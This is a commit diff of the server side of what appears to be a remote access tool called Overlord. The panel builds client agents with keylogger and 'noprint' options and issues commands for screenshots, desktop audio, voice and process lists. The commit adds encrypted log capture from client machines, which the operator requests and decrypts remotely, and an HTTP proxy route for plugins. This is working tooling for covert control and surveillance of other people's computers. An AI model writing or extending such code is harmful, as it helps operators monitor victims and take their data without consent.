encrypted logs, more customization for admins.
This commit is contained in:
@@ -208,6 +208,10 @@ type SaveSecrets = {
|
||||
privateKey?: string;
|
||||
publicKey?: string;
|
||||
};
|
||||
clientLogs?: {
|
||||
privateKey?: string;
|
||||
publicKey?: string;
|
||||
};
|
||||
};
|
||||
|
||||
export type BuildSigningSecrets = {
|
||||
@@ -215,6 +219,11 @@ export type BuildSigningSecrets = {
|
||||
publicKey: string;
|
||||
};
|
||||
|
||||
export type ClientLogSecrets = {
|
||||
privateKey: string;
|
||||
publicKey: string;
|
||||
};
|
||||
|
||||
function generateRandomSecret(length = 48): string {
|
||||
const chars =
|
||||
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*";
|
||||
@@ -1025,6 +1034,26 @@ export function setBuildSigningSecrets(secrets: BuildSigningSecrets): void {
|
||||
persistSaveSecrets(savePath, saved);
|
||||
}
|
||||
|
||||
export function getClientLogSecrets(): ClientLogSecrets | null {
|
||||
const dataDir = ensureDataDir();
|
||||
const savePath = resolve(dataDir, "save.json");
|
||||
const saved = loadSaveSecrets(savePath);
|
||||
const priv = saved.clientLogs?.privateKey;
|
||||
const pub = saved.clientLogs?.publicKey;
|
||||
if (typeof priv === "string" && priv && typeof pub === "string" && pub) {
|
||||
return { privateKey: priv, publicKey: pub };
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
export function setClientLogSecrets(secrets: ClientLogSecrets): void {
|
||||
const dataDir = ensureDataDir();
|
||||
const savePath = resolve(dataDir, "save.json");
|
||||
const saved = loadSaveSecrets(savePath);
|
||||
saved.clientLogs = { privateKey: secrets.privateKey, publicKey: secrets.publicKey };
|
||||
persistSaveSecrets(savePath, saved);
|
||||
}
|
||||
|
||||
export function getBuildBanlist(): string[] {
|
||||
return getConfig().buildSigning.banlist;
|
||||
}
|
||||
|
||||
@@ -7,6 +7,7 @@ export type MessageKind =
|
||||
| "pong"
|
||||
| "command"
|
||||
| "command_result"
|
||||
| "client_logs_result"
|
||||
| "screenshot_result"
|
||||
| "frame"
|
||||
| "status"
|
||||
@@ -103,6 +104,7 @@ export type CommandType =
|
||||
| "voice_session_stop"
|
||||
| "voice_downlink"
|
||||
| "voice_capabilities"
|
||||
| "client_logs_request"
|
||||
| "desktop_audio_start"
|
||||
| "desktop_audio_stop"
|
||||
| "process_list"
|
||||
@@ -151,6 +153,25 @@ export type CommandResult = {
|
||||
message?: string;
|
||||
};
|
||||
|
||||
export type ClientLogEntry = {
|
||||
seq: number;
|
||||
at: number;
|
||||
source: string;
|
||||
blob: string;
|
||||
};
|
||||
|
||||
export type ClientLogsResult = {
|
||||
type: "client_logs_result";
|
||||
commandId?: string;
|
||||
ok: boolean;
|
||||
entries?: ClientLogEntry[];
|
||||
dropped?: number;
|
||||
fromSeq?: number;
|
||||
toSeq?: number;
|
||||
enabled: boolean;
|
||||
error?: string;
|
||||
};
|
||||
|
||||
export type ScreenshotResult = {
|
||||
type: "screenshot_result";
|
||||
commandId?: string;
|
||||
@@ -467,6 +488,7 @@ export type WireMessage =
|
||||
| Pong
|
||||
| Command
|
||||
| CommandResult
|
||||
| ClientLogsResult
|
||||
| ScreenshotResult
|
||||
| Frame
|
||||
| FrameAck
|
||||
|
||||
@@ -7,6 +7,7 @@ import { getUserById, canUploadFiles } from "../users";
|
||||
import { logger } from "../logger";
|
||||
import { getConfig } from "../config";
|
||||
import { signBuildToken } from "./build-signing";
|
||||
import { getClientLogPublicKey } from "./client-log-crypto";
|
||||
import { ensureDataDir } from "../paths";
|
||||
import * as buildManager from "../build/buildManager";
|
||||
import type { BuildStream } from "../build/types";
|
||||
@@ -1134,7 +1135,12 @@ func runBoundFiles() {
|
||||
}
|
||||
|
||||
if (config.noPrinting) {
|
||||
sendToStream({ type: "output", text: "Client printing disabled (noprint tag)\n", level: "info" });
|
||||
const secureLogPublicKey = getClientLogPublicKey();
|
||||
if (secureLogPublicKey) {
|
||||
const secureLogFlag = `-X overlord-client/cmd/agent/config.DefaultSecureLogPublicKey=${secureLogPublicKey}`;
|
||||
ldflags = ldflags ? `${ldflags} ${secureLogFlag}` : secureLogFlag;
|
||||
}
|
||||
sendToStream({ type: "output", text: "Secure client logs enabled (encrypted noprint capture)\n", level: "info" });
|
||||
}
|
||||
if (config.disableKeylogger) {
|
||||
sendToStream({ type: "output", text: "Keylogger disabled (nokeylogger tag)\n", level: "info" });
|
||||
|
||||
@@ -0,0 +1,56 @@
|
||||
import { beforeAll, describe, expect, test } from "bun:test";
|
||||
import { constants, createCipheriv, createPublicKey, publicEncrypt, randomBytes } from "crypto";
|
||||
import { mkdtempSync } from "fs";
|
||||
import { join } from "path";
|
||||
import { tmpdir } from "os";
|
||||
import { decryptClientLogBlob, extractSecureLogBlobs, getClientLogPublicKey } from "./client-log-crypto";
|
||||
|
||||
beforeAll(() => {
|
||||
process.env.DATA_DIR = mkdtempSync(join(tmpdir(), "overlord-client-log-test-"));
|
||||
});
|
||||
|
||||
function makeBlob(seq: number, at: number, source: string, text: string): string {
|
||||
const publicKey = Buffer.from(getClientLogPublicKey(), "base64");
|
||||
const aesKey = randomBytes(32);
|
||||
const nonce = randomBytes(12);
|
||||
const aad = Buffer.from(`${seq}:${at}:${source}`, "utf8");
|
||||
const cipher = createCipheriv("aes-256-gcm", aesKey, nonce);
|
||||
cipher.setAAD(aad);
|
||||
const encrypted = Buffer.concat([cipher.update(text, "utf8"), cipher.final(), cipher.getAuthTag()]);
|
||||
const wrapped = publicEncrypt(
|
||||
{
|
||||
key: createPublicKey({ key: publicKey, format: "der", type: "spki" }),
|
||||
oaepHash: "sha256",
|
||||
padding: constants.RSA_PKCS1_OAEP_PADDING,
|
||||
oaepLabel: aad,
|
||||
},
|
||||
aesKey,
|
||||
);
|
||||
return Buffer.from(JSON.stringify({
|
||||
v: 1,
|
||||
alg: "RSA-OAEP-SHA256+A256GCM",
|
||||
seq,
|
||||
at,
|
||||
source,
|
||||
wrappedKey: wrapped.toString("base64"),
|
||||
nonce: nonce.toString("base64"),
|
||||
ciphertext: encrypted.toString("base64"),
|
||||
})).toString("base64");
|
||||
}
|
||||
|
||||
describe("client log crypto", () => {
|
||||
test("decrypts secure log blobs", () => {
|
||||
const blob = makeBlob(7, 12345, "log", "hello secure logs");
|
||||
expect(decryptClientLogBlob(blob)).toEqual({
|
||||
seq: 7,
|
||||
at: 12345,
|
||||
source: "log",
|
||||
text: "hello secure logs",
|
||||
});
|
||||
});
|
||||
|
||||
test("extracts offline console lines", () => {
|
||||
const blob = makeBlob(8, 12346, "stdout", "offline");
|
||||
expect(extractSecureLogBlobs(`noise\nOVERLORD-SECURE-LOG v1 seq=8 source=stdout ${blob}\n`)).toContain(blob);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,102 @@
|
||||
import {
|
||||
constants,
|
||||
createDecipheriv,
|
||||
generateKeyPairSync,
|
||||
privateDecrypt,
|
||||
} from "crypto";
|
||||
import logger from "../logger";
|
||||
import {
|
||||
getClientLogSecrets,
|
||||
setClientLogSecrets,
|
||||
type ClientLogSecrets,
|
||||
} from "../config";
|
||||
|
||||
type SecureLogEnvelope = {
|
||||
v: number;
|
||||
alg: string;
|
||||
seq: number;
|
||||
at: number;
|
||||
source: string;
|
||||
wrappedKey: string;
|
||||
nonce: string;
|
||||
ciphertext: string;
|
||||
};
|
||||
|
||||
export type DecryptedClientLog = {
|
||||
seq: number;
|
||||
at: number;
|
||||
source: string;
|
||||
text: string;
|
||||
};
|
||||
|
||||
let cachedSecrets: ClientLogSecrets | null = null;
|
||||
|
||||
function ensureClientLogSecrets(): ClientLogSecrets {
|
||||
if (cachedSecrets) return cachedSecrets;
|
||||
let secrets = getClientLogSecrets();
|
||||
if (!secrets) {
|
||||
const kp = generateKeyPairSync("rsa", {
|
||||
modulusLength: 3072,
|
||||
publicKeyEncoding: { type: "spki", format: "der" },
|
||||
privateKeyEncoding: { type: "pkcs8", format: "pem" },
|
||||
});
|
||||
secrets = {
|
||||
privateKey: kp.privateKey.toString(),
|
||||
publicKey: Buffer.from(kp.publicKey).toString("base64"),
|
||||
};
|
||||
setClientLogSecrets(secrets);
|
||||
logger.info("[client-logs] generated new RSA-OAEP log decryption keypair");
|
||||
}
|
||||
cachedSecrets = secrets;
|
||||
return secrets;
|
||||
}
|
||||
|
||||
export function getClientLogPublicKey(): string {
|
||||
return ensureClientLogSecrets().publicKey;
|
||||
}
|
||||
|
||||
export function resetClientLogCryptoCacheForTests(): void {
|
||||
cachedSecrets = null;
|
||||
}
|
||||
|
||||
export function decryptClientLogBlob(blob: string): DecryptedClientLog {
|
||||
const secrets = ensureClientLogSecrets();
|
||||
const decoded = Buffer.from(String(blob || "").trim(), "base64").toString("utf-8");
|
||||
const env = JSON.parse(decoded) as SecureLogEnvelope;
|
||||
if (!env || env.v !== 1 || env.alg !== "RSA-OAEP-SHA256+A256GCM") {
|
||||
throw new Error("Unsupported secure log envelope");
|
||||
}
|
||||
const seq = Number(env.seq) || 0;
|
||||
const at = Number(env.at) || 0;
|
||||
const source = String(env.source || "log");
|
||||
const aad = Buffer.from(`${seq}:${at}:${source}`, "utf-8");
|
||||
const aesKey = privateDecrypt(
|
||||
{
|
||||
key: secrets.privateKey,
|
||||
oaepHash: "sha256",
|
||||
padding: constants.RSA_PKCS1_OAEP_PADDING,
|
||||
oaepLabel: aad,
|
||||
},
|
||||
Buffer.from(env.wrappedKey, "base64"),
|
||||
);
|
||||
const encrypted = Buffer.from(env.ciphertext, "base64");
|
||||
if (encrypted.length < 17) throw new Error("Malformed secure log ciphertext");
|
||||
const tag = encrypted.subarray(encrypted.length - 16);
|
||||
const ciphertext = encrypted.subarray(0, encrypted.length - 16);
|
||||
const decipher = createDecipheriv("aes-256-gcm", aesKey, Buffer.from(env.nonce, "base64"));
|
||||
decipher.setAAD(aad);
|
||||
decipher.setAuthTag(tag);
|
||||
const plaintext = Buffer.concat([decipher.update(ciphertext), decipher.final()]);
|
||||
return { seq, at, source, text: plaintext.toString("utf-8") };
|
||||
}
|
||||
|
||||
export function extractSecureLogBlobs(input: string): string[] {
|
||||
const blobs: string[] = [];
|
||||
for (const line of String(input || "").split(/\r?\n/)) {
|
||||
const trimmed = line.trim();
|
||||
if (!trimmed) continue;
|
||||
const match = trimmed.match(/OVERLORD-SECURE-LOG\s+v1\s+seq=\d+\s+source=\S+\s+([A-Za-z0-9+/=]+)$/);
|
||||
blobs.push(match ? match[1] : trimmed);
|
||||
}
|
||||
return blobs;
|
||||
}
|
||||
@@ -46,6 +46,7 @@ type PluginContext = {
|
||||
warn: (message: string) => void;
|
||||
error: (message: string) => void;
|
||||
};
|
||||
fetch: typeof fetch;
|
||||
broadcast: (channel: string, data: unknown) => void;
|
||||
};
|
||||
|
||||
@@ -86,6 +87,7 @@ self.onmessage = async (e: MessageEvent<WorkerInbound>) => {
|
||||
db,
|
||||
dataDir,
|
||||
log: makeLogger(),
|
||||
fetch: globalThis.fetch.bind(globalThis),
|
||||
broadcast: (channel, data) => send({ type: "broadcast", channel, data }),
|
||||
};
|
||||
|
||||
|
||||
@@ -34,6 +34,7 @@ import { notifyDashboardViewers } from "../../sessions/sessionManager";
|
||||
import { clearThumbnail } from "../../thumbnails";
|
||||
import { handleClientCommandRoute } from "./client-command-routes";
|
||||
import { handleClientGroupRoutes } from "./client-group-routes";
|
||||
import { decryptClientLogBlob, extractSecureLogBlobs } from "../client-log-crypto";
|
||||
|
||||
type RequestIpProvider = {
|
||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||
@@ -66,10 +67,34 @@ export async function handleClientRoutes(
|
||||
server: RequestIpProvider,
|
||||
deps: ClientRouteDeps,
|
||||
): Promise<Response | null> {
|
||||
if (!url.pathname.startsWith("/api/clients") && !url.pathname.startsWith("/api/groups")) {
|
||||
if (!url.pathname.startsWith("/api/clients") && !url.pathname.startsWith("/api/groups") && !url.pathname.startsWith("/api/client-logs")) {
|
||||
return null;
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/client-logs/decrypt") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) return new Response("Unauthorized", { status: 401 });
|
||||
try { requirePermission(user, "clients:control"); } catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
let body: any = {};
|
||||
try { body = await req.json(); } catch {}
|
||||
const raw = typeof body?.blob === "string" ? body.blob : "";
|
||||
const blobs = extractSecureLogBlobs(raw).slice(0, 1000);
|
||||
const logs = [];
|
||||
const errors = [];
|
||||
for (const blob of blobs) {
|
||||
try {
|
||||
logs.push(decryptClientLogBlob(blob));
|
||||
} catch (err) {
|
||||
errors.push((err as Error).message);
|
||||
}
|
||||
}
|
||||
logs.sort((a, b) => a.seq - b.seq || a.at - b.at);
|
||||
return Response.json({ ok: errors.length === 0, logs, errors }, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
if (url.pathname === "/api/clients") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
@@ -115,6 +140,73 @@ export async function handleClientRoutes(
|
||||
return Response.json({ countries: listDistinctCountries() }, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
const logsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/logs$/);
|
||||
if (req.method === "POST" && logsMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) return new Response("Unauthorized", { status: 401 });
|
||||
try { requirePermission(user, "clients:control"); } catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
const targetId = logsMatch[1];
|
||||
try { requireClientAccess(user, targetId); } catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
const target = clientManager.getClient(targetId);
|
||||
if (!target) return Response.json({ ok: false, error: "Client not online or not found" }, { status: 404 });
|
||||
let body: any = {};
|
||||
try { body = await req.json(); } catch {}
|
||||
const limit = Math.max(1, Math.min(512, Math.floor(Number(body?.limit || 200))));
|
||||
const sinceSeq = Math.max(0, Math.floor(Number(body?.sinceSeq || 0)));
|
||||
const cmdId = uuidv4();
|
||||
const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
|
||||
const timeout = setTimeout(() => {
|
||||
deps.pendingCommandReplies.delete(cmdId);
|
||||
reject(new Error("Client logs request timed out"));
|
||||
}, 30_000);
|
||||
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId });
|
||||
});
|
||||
|
||||
target.ws.send(encodeMessage({
|
||||
type: "command",
|
||||
commandType: "client_logs_request",
|
||||
id: cmdId,
|
||||
payload: { sinceSeq, limit },
|
||||
} as any));
|
||||
metrics.recordCommand("client_logs_request");
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, details: "client_logs_request", success: true });
|
||||
|
||||
try {
|
||||
const result = await replyPromise;
|
||||
const rawPayload = result.message ? JSON.parse(result.message) : {};
|
||||
const entries = Array.isArray(rawPayload.entries) ? rawPayload.entries : [];
|
||||
const logs = [];
|
||||
const errors = [];
|
||||
for (const entry of entries) {
|
||||
try {
|
||||
logs.push(decryptClientLogBlob(String(entry.blob || "")));
|
||||
} catch (err) {
|
||||
errors.push({ seq: Number(entry.seq) || 0, error: (err as Error).message });
|
||||
}
|
||||
}
|
||||
logs.sort((a, b) => a.seq - b.seq || a.at - b.at);
|
||||
return Response.json({
|
||||
ok: result.ok && errors.length === 0,
|
||||
enabled: Boolean(rawPayload.enabled),
|
||||
dropped: Number(rawPayload.dropped) || 0,
|
||||
fromSeq: Number(rawPayload.fromSeq) || 0,
|
||||
toSeq: Number(rawPayload.toSeq) || 0,
|
||||
logs,
|
||||
errors,
|
||||
clientError: typeof rawPayload.error === "string" ? rawPayload.error : "",
|
||||
}, { headers: deps.CORS_HEADERS });
|
||||
} catch (error: any) {
|
||||
return Response.json({ ok: false, error: error.message || "Client logs request failed" }, { status: 504 });
|
||||
}
|
||||
}
|
||||
|
||||
if (url.pathname === "/api/clients/banned-ips") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) return new Response("Unauthorized", { status: 401 });
|
||||
|
||||
@@ -4,7 +4,7 @@ import path from "path";
|
||||
import AdmZip from "adm-zip";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { requireClientAccess, requirePermission, requirePluginAccess } from "../../rbac";
|
||||
import { requireAnyPermission, requireClientAccess, requirePermission, requirePluginAccess } from "../../rbac";
|
||||
import { canUserAccessPlugin } from "../../users";
|
||||
import * as clientManager from "../../clientManager";
|
||||
import { metrics } from "../../metrics";
|
||||
@@ -43,6 +43,17 @@ type PluginState = {
|
||||
approvedNeeds: Record<string, string>;
|
||||
};
|
||||
|
||||
const HOP_BY_HOP_HEADERS = new Set([
|
||||
"connection",
|
||||
"keep-alive",
|
||||
"proxy-authenticate",
|
||||
"proxy-authorization",
|
||||
"te",
|
||||
"trailer",
|
||||
"transfer-encoding",
|
||||
"upgrade",
|
||||
]);
|
||||
|
||||
type PluginRouteDeps = {
|
||||
PLUGIN_ROOT: string;
|
||||
PUBLIC_ROOT: string;
|
||||
@@ -157,6 +168,58 @@ export async function handlePluginRoutes(
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
async function requirePluginApiAccess(pluginId: string): Promise<Response | null> {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) return new Response("Unauthorized", { status: 401 });
|
||||
try {
|
||||
requireAnyPermission(user, ["clients:control", "clients:build"]);
|
||||
requirePluginAccess(user, pluginId);
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
if (deps.pluginState.enabled[pluginId] === false) {
|
||||
return Response.json({ ok: false, error: "Plugin disabled" }, { status: 400 });
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
function parseProxyUrl(value: unknown): URL | null {
|
||||
if (typeof value !== "string" || !value.trim()) return null;
|
||||
try {
|
||||
const target = new URL(value);
|
||||
return target.protocol === "http:" || target.protocol === "https:" ? target : null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
function sanitizeProxyHeaders(value: unknown): Headers {
|
||||
const headers = new Headers();
|
||||
if (!value || typeof value !== "object" || Array.isArray(value)) return headers;
|
||||
for (const [key, rawValue] of Object.entries(value as Record<string, unknown>)) {
|
||||
const name = key.toLowerCase();
|
||||
if (HOP_BY_HOP_HEADERS.has(name) || name === "host" || name === "cookie" || name === "set-cookie") continue;
|
||||
if (typeof rawValue === "string") headers.set(key, rawValue);
|
||||
}
|
||||
return headers;
|
||||
}
|
||||
|
||||
async function makePluginProxyResponse(upstream: Response): Promise<Response> {
|
||||
const headers = new Headers();
|
||||
upstream.headers.forEach((value, key) => {
|
||||
const name = key.toLowerCase();
|
||||
if (HOP_BY_HOP_HEADERS.has(name) || name === "set-cookie") return;
|
||||
headers.set(key, value);
|
||||
});
|
||||
headers.set("Cache-Control", "no-store");
|
||||
return new Response(upstream.body, {
|
||||
status: upstream.status,
|
||||
statusText: upstream.statusText,
|
||||
headers,
|
||||
});
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/api/plugins") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
@@ -291,6 +354,57 @@ export async function handlePluginRoutes(
|
||||
return Response.json({ ok: true, trustedKeys: keys });
|
||||
}
|
||||
|
||||
const pluginProxyMatch = url.pathname.match(/^\/api\/plugins\/([^/]+)\/proxy$/);
|
||||
if ((req.method === "GET" || req.method === "POST") && pluginProxyMatch) {
|
||||
let pluginId = "";
|
||||
try { pluginId = deps.sanitizePluginId(pluginProxyMatch[1]); } catch {
|
||||
return new Response("Invalid plugin id", { status: 400 });
|
||||
}
|
||||
|
||||
const accessResponse = await requirePluginApiAccess(pluginId);
|
||||
if (accessResponse) return accessResponse;
|
||||
|
||||
let target: URL | null = null;
|
||||
let method = "GET";
|
||||
let headers = new Headers();
|
||||
let body: BodyInit | undefined;
|
||||
|
||||
if (req.method === "GET") {
|
||||
target = parseProxyUrl(url.searchParams.get("url"));
|
||||
} else {
|
||||
let payload: any = {};
|
||||
try { payload = await req.json(); } catch {
|
||||
return Response.json({ ok: false, error: "Invalid JSON" }, { status: 400 });
|
||||
}
|
||||
target = parseProxyUrl(payload.url);
|
||||
method = typeof payload.method === "string" ? payload.method.toUpperCase() : "GET";
|
||||
if (!["GET", "POST", "PUT", "PATCH", "DELETE", "HEAD"].includes(method)) {
|
||||
return Response.json({ ok: false, error: "Unsupported proxy method" }, { status: 400 });
|
||||
}
|
||||
headers = sanitizeProxyHeaders(payload.headers);
|
||||
if (payload.body !== undefined && method !== "GET" && method !== "HEAD") {
|
||||
body = typeof payload.body === "string" ? payload.body : JSON.stringify(payload.body);
|
||||
if (!headers.has("Content-Type") && typeof payload.body !== "string") {
|
||||
headers.set("Content-Type", "application/json");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!target) {
|
||||
return Response.json({ ok: false, error: "Proxy url must be http or https" }, { status: 400 });
|
||||
}
|
||||
|
||||
try {
|
||||
const upstream = await fetch(target, { method, headers, body, redirect: "follow" });
|
||||
return makePluginProxyResponse(upstream);
|
||||
} catch (err) {
|
||||
return Response.json(
|
||||
{ ok: false, error: err instanceof Error ? err.message : String(err) },
|
||||
{ status: 502 },
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
const clientPluginsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins$/);
|
||||
if (req.method === "GET" && clientPluginsMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
|
||||
@@ -797,6 +797,19 @@ export async function handleWebSocketMessage(
|
||||
);
|
||||
}
|
||||
break;
|
||||
case "client_logs_result":
|
||||
if (typeof (payload as any).commandId === "string") {
|
||||
const pending = deps.pendingCommandReplies.get((payload as any).commandId);
|
||||
if (pending) {
|
||||
clearTimeout(pending.timeout);
|
||||
pending.resolve({
|
||||
ok: Boolean((payload as any).ok),
|
||||
message: JSON.stringify(payload),
|
||||
});
|
||||
deps.pendingCommandReplies.delete((payload as any).commandId);
|
||||
}
|
||||
}
|
||||
break;
|
||||
case "command_progress":
|
||||
deps.handleFileBrowserMessage(client.id, payload);
|
||||
break;
|
||||
|
||||
@@ -20,6 +20,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
||||
"file_peek_result",
|
||||
"file_hash_result",
|
||||
"command_result",
|
||||
"client_logs_result",
|
||||
"screenshot_result",
|
||||
"command_progress",
|
||||
"process_list_result",
|
||||
|
||||
Reference in New Issue
Block a user